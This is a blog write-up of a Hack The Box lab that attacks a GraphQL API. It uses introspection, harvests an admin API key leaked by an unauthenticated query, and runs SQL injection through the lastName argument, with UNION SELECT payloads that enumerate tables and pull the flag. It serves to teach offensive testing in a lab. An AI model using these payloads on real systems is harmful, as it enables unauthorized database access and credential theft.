DEV Community

Hassan Elsayed
Hassan Elsayed

Posted on

Attack GraphQL — Skills Assessment Writeup

Introduction

Walking through my solve of the Attack GraphQL Skills Assessment. This one is about probing a GraphQL API through introspection, finding an injectable argument, and chaining that into a full SQL injection to reach the flag.

What makes it interesting is that GraphQL hides its attack surface behind a schema — there's no list of "forms" to test like a normal web app. You have to ask the API to describe itself first, and one small mistake in how you ask can make you miss the exact parameter that's vulnerable.

Step 1: Mapping the Schema with Introspection

First move against any GraphQL target: introspection, asking the API to hand over its own schema.

{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This returned the full type map. The part that mattered was the Query root type:

{"name":"Query","fields":[
  {"name":"node"},
  {"name":"allEmployees"},
  {"name":"employeeByUsername"},
  {"name":"allProducts"},
  {"name":"productByName"},
  {"name":"activeApiKeys"},
  {"name":"allCustomers"},
  {"name":"customerByName"}
]}
Enter fullscreen mode Exit fullscreen mode

Eight entry points, backed by object types like EmployeeObject, ProductObject, ApiKeyObject, and CustomerObject.

The mistake that almost cost me the attack surface

Next instinct: check what each field returns.

{
  __type(name: "Query") {
    fields {
      name
      type { name kind ofType { name kind } }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This showed customerByName returns a CustomerObject — useful, but incomplete. It said nothing about what arguments each field accepts. In GraphQL, a field's return type and its args are two completely separate parts of the schema — querying one tells you nothing about the other.

Why this matters

If you only introspect return types, you see the shape of the data but stay blind to the actual attack surface — the inputs you control. The real question isn't "what does this return?", it's "what can I send it?" So I re-ran introspection asking specifically for args:

{
  __type(name: "Query") {
    fields {
      name
      args {
        name
        type {
          name
          kind
          ofType { name kind }
        }
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This gave the real map — every field's arguments, including employeeByUsername(username: String!), productByName(name: String!), allCustomers(apiKey: String!), and customerByName(apiKey: String!, lastName: String!).

Every one a NON_NULL String — every one a potential injection point.

Step 2: Finding an Admin API Key

allCustomers and customerByName both required an apiKey I didn't have. But activeApiKeys needed no arguments at all:

{
  activeApiKeys {
    id
    role
    key
  }
}
Enter fullscreen mode Exit fullscreen mode
{"data":{"activeApiKeys":[
  {"id":"...","role":"guest","key":"fbb64ce26fbe8a8d8d6895b8e6ba21a3"},
  {"id":"...","role":"guest","key":"9cf8622bbc9fdc78f245663e08e5b4c1"},
  {"id":"...","role":"admin","key":"0711a879ed751e63330a78a4b195bbad"}
]}}
Enter fullscreen mode Exit fullscreen mode

An admin-scoped key, served with zero authentication. That's the key that unlocks the customer endpoints.

Why this matters

This alone is a serious flaw — API keys, especially privileged ones, should never be readable through an unauthenticated query. In a real engagement, this finding alone would be worth reporting regardless of what came next.

Step 3: Probing Every Argument for SQL Injection

With a valid apiKey, I tested every string argument from Step 1 by appending a classic SQLi probe: ' -- -.

apiKey, username, and name all came back clean. lastName on customerByName did not:

{
  customerByName(
    lastName: "hassan 'h -- -",
    apiKey: "0711a879ed751e63330a78a4b195bbad"
  ) {
    id
    firstName
    lastName
    address
  }
}
Enter fullscreen mode Exit fullscreen mode
"errors":[{"message":"(pymysql.err.ProgrammingError) (1064, \"You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right syntax to use near
'h -- -' \n LIMIT 1' at line 3\")
[SQL: SELECT customer.id AS customer_id, customer.`firstName` AS customer_firstName,
customer.`lastName` AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='hassan 'h -- -'
 LIMIT %(param_1)s]
Enter fullscreen mode Exit fullscreen mode

Why this matters

This single error message handed over everything needed for the rest of the attack: the exact table (customer), the exact column names (id, firstName, lastName, address), and confirmation that lastName gets concatenated straight into the query with zero sanitization. A verbose SQL error like this turns a blind injection into a fully sighted one.

Step 4: Confirming the Column Count

The leaked query already showed 4 selected columns, confirmed directly with a matching UNION SELECT:

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,3,4 -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}
Enter fullscreen mode Exit fullscreen mode
{"data":{"customerByName":{"id":"Q3VzdG9tZXJPYmplY3Q6MQ==","firstName":"2","lastName":"3","address":"4"}}}
Enter fullscreen mode Exit fullscreen mode

firstName, lastName, and address all echoed the exact literal values from the UNION SELECT — 4 columns confirmed working. id stayed as a base64 string instead of showing 1, because GraphQL/Relay always encodes id into an opaque global identifier regardless of the underlying column's actual value. Columns 2, 3, and 4 were all equally usable for exfiltration — I picked column 2 (firstName) going forward, purely out of convenience.

Step 5: Enumerating Database Tables

With a working 4-column injection, I queried information_schema.tables for everything in the current database:

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}
Enter fullscreen mode Exit fullscreen mode
{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"api_key,employee,flag,product,customer","address":"4"}}}
Enter fullscreen mode Exit fullscreen mode

Five tables: api_key, employee, flag, product, customer. One of those doesn't need explaining.

Step 6: Extracting the Flag

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}
Enter fullscreen mode Exit fullscreen mode
{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}","address":"4"}}}
Enter fullscreen mode Exit fullscreen mode

🎯 Flag captured: HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}

Key Takeaways

  • introspecting return types alone tells you nothing about arguments — always ask for args explicitly to map the real attack surface
  • unauthenticated queries that leak API keys are a finding on their own, independent of anything chained after them
  • verbose SQL errors from the backend can turn a blind injection into a fully sighted one — read them closely
  • GraphQL's id field is often an opaque encoded value (Relay global ID), not the raw column — don't rely on it for column-count confirmation

Happy hacking! 🔐

Top comments (0)